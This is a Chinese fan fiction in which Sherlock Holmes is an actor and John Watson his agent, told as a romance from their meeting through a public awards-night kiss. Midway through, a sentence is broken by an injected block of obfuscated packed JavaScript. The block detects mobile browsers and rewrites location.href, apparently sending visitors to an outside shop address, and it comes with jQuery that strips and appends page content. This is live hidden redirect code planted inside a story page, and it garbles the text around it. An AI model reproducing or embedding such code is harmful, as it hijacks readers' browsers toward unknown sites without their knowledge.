记录人：约翰·H·华生，经纪人
地点：伦敦 / 全球各地
日期：又一个颁奖季
---
有些事情，在经纪人手册里是学不到的。
比如怎么在红毯上把你的艺人从一群疯狂的记者手里救出来。比如怎么在凌晨三点接到电话，对方只说了一句“我在警局”就挂断——然后你要猜是哪个警局。比如怎么在全世界都觉得他是天才、是疯子、是不可理喻的混蛋的时候，只有你知道，他只是夏洛克。
这些，手册上都没有。
但生活教会了我。
---
关于入行
我以前不是经纪人。
我是个军医，在阿富汗待过，见过真正的生死。退伍后，我想过平静的生活，找个普通的诊所，看普通的病人，过普通的日子。
但命运不这么想。
那天，我去见一个老朋友——他是个选角导演，想让我给一部战争片做医疗顾问。我去片场，站在角落里，看着那些演员假装受伤。
然后我注意到一个人。
他坐在导演旁边，但不是导演。他穿着一件看起来就很贵的大衣，整个人陷在椅子里，手里拿着剧本，但眼睛没在看剧本。他在看片场上的每一个人——演员、灯光师、场记、送咖啡的助理。他的眼睛转得很快，像是在扫描。
“那是谁？”我问朋友。
“夏洛克·福尔摩斯。”他说。“男主角。也是这戏的投资人。也是这戏的——反正什么都是。”
我看着他。
他正在看一个群众演员——那个群众演员站在角落里，无聊地玩手机。他看了几秒，然后站起来，走过去，和那个人说了几句话。那个人脸色变了，收起手机，站直了。
“他刚才说什么？”我问。
朋友笑了。“那个人在赌球，用手机下注。夏洛克看出来了。他说‘你的角色是二战士兵，不是现代赌徒。要么认真演，要么滚。’”
我看着那个群众演员。他确实开始认真演了。
“他怎么知道那个人在赌球？”
“没人知道。”朋友说。“他就是知道。”
那天收工的时候，我正准备离开。一个人影挡在我面前。
我抬头。
是夏洛克·福尔摩斯。
他低头看着我。他很高，比我想象的还高。
“约翰·华生。”他说。“军医，阿富汗，两次负伤，退役三个月。你现在在找一份工作，但不想回医院。你认识那个选角导演，所以今天来帮忙。你刚才一直看着我。”
我愣住了。
“你——你怎么——”
“显而易见。”他说。“你的右手在摸左腿——那是旧伤的位置，说明你在回忆战场上受伤的时刻，但你的眼神在看片场，说明你在对比战场和这里的区别。你站的位置是角落里，说明你不喜欢被人注意，但你观察我的时间超过一般人，说明你对我有兴趣。”
他顿了顿。
“我需要一个经纪人。”他说。“你愿意吗？”
我看着他的脸。
“我从来没做过经纪人。”
“我知道。”
“我不知道怎么当。”
“我教你。”
“你为什么要我？”
他看着我的眼睛。
“因为你刚才看我的时候，”他说，“不是看明星。是看人。”
我想了想。
“好。”我说。“我试试。”
他点点头，转身走了。
走出几步，他回头。
“明天早上七点，来我家。贝克街221B。别迟到。”
他走了。
我站在原地，心想：我刚刚答应了什么？
后来我知道了。
我答应的是余生。
---
关于日常
做夏洛克·福尔摩斯的经纪人，不是什么常规工作。
常规的经纪人要谈合同、安排行程、处理公关危机。这些我也做。
但更多的是别的。
比如帮他找东西。他的手机、剧本、围巾、咖啡杯——永远在丢。我学会了在进门的十秒内扫视整个房间，定位所有他需要的东西。
比如帮他挡人。记者、粉丝、疯狂的导演、想蹭热度的新人。他知道怎么应付，但他懒得应付。所以我挡在前面，他说“约翰处理”。
比如帮他收场。有一次他在首映礼上说了实话，说导演的剧本“逻辑有问题”，全场尴尬。我上去笑着说“他就是喜欢开玩笑”，然后把他拉走。他在后台问我：“你为什么要撒谎？那个剧本确实有问题。”我说：“因为你是演员，不是影评人。”他想了想，说：“那以后你负责撒谎。”
我没撒谎。我只是帮他圆场。
但最常做的，是陪他。
陪他熬夜看剧本。陪他在片场等戏。陪他出席那些他讨厌的颁奖礼。陪他在凌晨三点，站在贝克街的窗边，看着外面的伦敦发呆。
“约翰。”
“嗯？”
“你为什么做这个？”
“什么？”
“做我的经纪人。”他说。“这么麻烦。这么累。这么——”
他顿了顿。
“这么什么？”
他看着我的眼睛。
“这么不值得。”他说。“你应该有更好的生活。”
我看着他。
“夏洛克。”
“嗯？”
“你知道我为什么做这个吗？”
他等着我说下去。
“因为在阿富汗的时候，”我说，“我见过太多人死去。太多人来不及。太多人后悔。”
我顿了顿。
“我不想后悔。”我说。“和你在一起，我不后悔。”
他看着我。很久。
然后他伸出手，握住我的手。
“约翰。”
“嗯？”
“我也不后悔。”他说。“有你在，什么都不后悔。”
---
关于红毯
今天是颁奖季。最重要的那个奖。
夏洛克被提名最佳男主角。他不在乎，但我在乎。因为他值得。
我给他挑好礼服，安排车，检查流程。他站在镜子前，任我摆弄他的领结，表情有点不耐烦。
“一定要去吗？”
“一定要。”
“为什么？”
“因为你是提名者。”
“我不在乎。”
“我在乎。”
他看着镜子里的我。
“为什么你在乎？”
我看着镜子里的他。
“因为你应该被看见。”我说。“因为你值得。因为——因为你是我的人。”
他的耳朵红了一点。
“约翰。”
“嗯？”
“这句话，你要负责。”
我笑了。
“负责就负责。”
---
红毯上，闪光灯亮成一片。
他走在前面，我走在后面——经纪人不走红毯，我应该在旁边等着。但他走到一半，停下来，回头看我。
“约翰。”
我走过去。
“怎么了？”
他伸出手。
“过来。”
我愣住了。
“夏洛克，这是红毯——”
“所以？”
“所以你应该一个人走。”
他看着我的眼睛。
“我不一个人。”他说。“我有你。”
闪光灯更亮了。记者们疯了。
他握着我的手，拉着我往前走。
我们一起走完那条红毯。
---
关于后台
颁奖礼很漫长。
他坐在我旁边，手一直握着我的。镜头扫过来的时候，他也不松开。
“夏洛克，镜头。”
“我知道。”
“你不松开？”
“不松。”
我看着他。
“为什么？”
他看着台上。
“因为这样他们就知道。”他说。“知道你是我的。”
我愣了一下。
“知道什么？”
他转头看着我。
“知道我爱你。”他说。“知道你是最重要的。”
我的眼眶有点热。
“夏洛克——”
“最佳男主角是——”台上的颁奖嘉宾打开信封。
他握紧我的手。
“——夏洛克·福尔摩斯！”
全场鼓掌。他站起来，但没有马上走。他低头看着我。
“约翰。”
“嗯？”
“一起上去。”
“什么？”
他拉着我，走向舞台。
我被他拉着，在全场的注视下，一起走上领奖台。
他接过奖杯，站在麦克风前。
“谢谢。”他说。“但我要说的不是感谢。”
全场安静。
他看着台下。然后他转头看着我。
“我要说的是，”他说，“约翰·华生。我的经纪人。我的——”
他顿了顿。
“我的什么？”我小声问。
他笑了。
“我的。”他说。“他是我的。”
然后他吻了我。
在全场面前。
在直播镜头前。
在无数人的注视下。
他吻了我。
分开的时候，我脸烫得像发烧。
他看着我的眼睛。
“数据点已采集。”他说。
“什么数据点？”
“你脸红的次数。”他说。“第一次。需要存档。”
我忍不住笑了。
台下的人在鼓掌。有人在尖叫。有人哭了。
我站在领奖台上，握着他的手，在全世界的注视下。
这就是我的人生。
和他一起。
---
关于回家
颁奖礼结束后，我们回到贝克街。
他躺在沙发上，奖杯随手放在茶几上。他不在乎。
我坐在他旁边。
“夏洛克。”
“嗯？”
“你知道你刚才在全世界面前出柜了吗？”
“知道。”
“你知道明天媒体会疯吗？”
“知道。”
“你知道——”
他坐起来，看着我的眼睛。
“约翰。”
“嗯？”
“我在乎吗？”
我看着他。
“不在乎。”
“对。”他说。“我不在乎。”
他握着我的手。
“我只在乎你。”他说。“别的，随便。”
我看着他的脸。灯光把他的轮廓照得很柔和。
“夏洛克。”
“嗯？”
“我也是。”我说。“只在乎你。”
他笑了。
我们靠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301121|198632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在一起，看着窗外的伦敦。
---
关于第二天
媒体疯了。
头版头条：夏洛克·福尔摩斯在颁奖礼上当众出柜！他的经纪人是谁？两人的关系是——
我把手机放下，看着夏洛克。
“你高兴了？”
他看着报纸，表情平静。
“还行。”
“还行？”
“标题可以更大。”他说。“照片可以更好。”
我忍不住笑了。
“夏洛克。”
“嗯？”
“接下来怎么办？”
他看着我。
“什么怎么办？”
“公关。采访。解释。”
他放下报纸。
“约翰。”
“嗯？”
“不需要解释。”他说。“我爱你。你爱我。别的，不需要。”
我看着他的眼睛。
“好。”我说。“不需要。”
他笑了。
门铃响了。
我站起来去开门。外面站着一群记者。
夏洛克走过来，站在我旁边。
他看着那群记者。
“有事？”
记者们愣住了。
“福尔摩斯先生，关于昨晚——”
他看着他们。
“昨晚怎么了？”
“您和您的经纪人——”
他转头看着我。
“约翰，我们昨晚怎么了？”
我忍住笑。
“没什么，夏洛克。我们只是领了个奖。”
他看着记者。
“听到了？我们只是领了个奖。”
然后他关上门。
回到沙发上，继续躺着。
我站在门口，听着外面的骚动，忍不住笑了。
这就是和夏洛克·福尔摩斯在一起的生活。
永远出人意料。永远让人头疼。永远——
永远值得。
---
思维宫殿（经纪人版）
条目：关于昨晚
·事件：颁奖礼，最佳男主角，当众出柜
·媒体反应：混乱，兴奋，各种猜测
·夏洛克反应：平静，不在乎
·我的反应：脸红了，但开心
重要数据点：
他说“他是我的”。在全场面前。在镜头前。
他说的时候，眼睛在看我。
只看着我。
结论：
我是他的。
他是我的。
别的，不重要。
---
一个月后
热度终于过去了。
媒体找到新的话题。记者不再堵门。生活恢复正常。
我们坐在221B的沙发上。他看剧本，我写经纪人的报告。
“夏洛克。”
“嗯？”
“下一个剧本是什么？”
他递给我一沓纸。
我看着封面——《神探夏洛克：贝克街的幽灵》。
我愣住了。
“这是——”
“一个侦探故事。”他说。“我想演。”
我看着他的脸。
“你演侦探？”
“嗯。”
“那我呢？”
他看着我。
“你想演什么？”
我想了想。
“演你的搭档？”我说。“医生什么的。”
他笑了。
“好。”他说。“那就这么演。”
我看着剧本，又看看他。
“夏洛克。”
“嗯？”
“我们演戏，还是演我们自己？”
他想了想。
“都一样。”他说。“反正我们在一起。”
我笑了。
窗外的伦敦继续流动。贝克街221B的暖气片继续咔哒。
在这个房间里，有两个人——演员和他的经纪人，夏洛克和约翰——靠在一起，看着同一个剧本。
这就是我们的日常。
这就是我们的永远。
---
——约翰·H·华生，经纪人，记录于一个平静的下午
---
后记：
那个电影后来拍了。
他演侦探，我演医生。剧本里，我们是搭档，一起破案，一起住在贝克街221B。
拍摄最后一天，导演喊“卡”。全场收工。
他走过来，站在我面前。
“约翰。”
“嗯？”
“戏拍完了。”
“嗯。”
他看着我的眼睛。
“但我们没有。”他说。“我们还要继续。”
我看着他。
“继续多久？”
他想了想。
“继续到我演不动。”他说。“继续到你写不动。继续到——”
他顿了顿。
“继续到什么？”
他看着我的眼睛。
“继续到永远。”他说。“够吗？”
我笑了。
“不够。”我说。“再来一个永远。”
他也笑了。
我们一起走出片场，走进伦敦的夕阳里。
这就是我们的故事。
演员和他的经纪人。
夏洛克和他的约翰。
永远。
---
——约翰·H·华生，全文终